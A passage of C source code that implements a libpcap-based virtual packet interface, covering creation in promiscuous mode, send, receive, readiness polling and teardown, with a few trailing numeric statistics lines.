(pkt_header->caplen != pkt_header->len) { VPI_ERROR(vi, "pcap truncated packet: len=%d caplen=%d", pkt_header->caplen, pkt_header->len); return -1; } rv = (len < pkt_header->len) ? len : pkt_header->len; VPI_MEMCPY(data, pkt_data, rv); return rv; } /**************************************************************************//** * * * * *****************************************************************************/ int vpi_pcap_interface_create(vpi_interface_t** vi, char* args[], int flags, const char* vpi_name_ptr) { vpi_interface_pcap_t* nvi = aim_zmalloc(sizeof(*nvi)); char** arg = args; char errbuf[PCAP_ERRBUF_SIZE]; AIM_REFERENCE(flags); if(nvi == NULL) { VPI_MERROR("interface allocation failed for %s.", vpi_name_ptr); return -1; } /* * Point our log_string to our name so we can use it immediately * in log messages. */ nvi->log_string = vpi_name_ptr; /* * The first argument is the type -- skip for now */ arg++; /* * next arg - interface name. */ if((nvi->pcap = pcap_create(*arg, errbuf)) == NULL) { VPI_ERROR(nvi, "pcap_create(%s) failed: %s\n", *arg, errbuf); aim_free(nvi); return -1; } if(pcap_set_promisc(nvi->pcap, 1) != 0) { VPI_WARN(nvi, "pcap_set_promisc() failed."); } if (pcap_activate(nvi->pcap) != 0) { VPI_ERROR(nvi, "pcap_activate() failed: %s", pcap_geterr(nvi->pcap)); pcap_close(nvi->pcap); aim_free(nvi); return -1; } nvi->fd = pcap_get_selectable_fd(nvi->pcap); if(nvi->fd < 0) { VPI_WARN(nvi, "pcap_get_selectable_fd() returned %d", nvi->fd); } nvi->interface.send = vpi_pcap_interface_send; nvi->interface.recv = vpi_pcap_interface_recv; nvi->interface.recv_ready = vpi_pcap_interface_recv_ready; nvi->interface.destroy = vpi_pcap_interface_destroy; nvi->interface.descriptor = vpi_pcap_interface_descriptor; *vi = (vpi_interface_t*)nvi; return 0; } int vpi_pcap_interface_send(vpi_interface_t* _vi, unsigned char* data, int len) { VICAST(vi, _vi); return sendto__(vi, (char*)data, len); } int vpi_pcap_interface_recv(vpi_interface_t* _vi, unsigned char* data, int len) { VICAST(vi, _vi); return read__(vi, (char*)data, len); } int vpi_pcap_interface_recv_ready(vpi_interface_t* _vi) { VICAST(vi, _vi); fd_set rfds; struct timeval tv; FD_ZERO(&rfds); FD_SET(vi->fd, &rfds); tv.tv_sec = 0; tv.tv_usec = 0; return select(vi->fd+1, &rfds, NULL, NULL, &tv); } int vpi_pcap_interface_descriptor(vpi_interface_t* _vi) { VICAST(vi, _vi); return vi->fd; } int vpi_pcap_interface_destroy(vpi_interface_t* _vi) { VICAST(vi, _vi); pcap_close(vi->pcap); aim_free(vi); return 0; } #endif /* INCLUDE_INTERFACE_PCAP */
25.698347
79
0.530793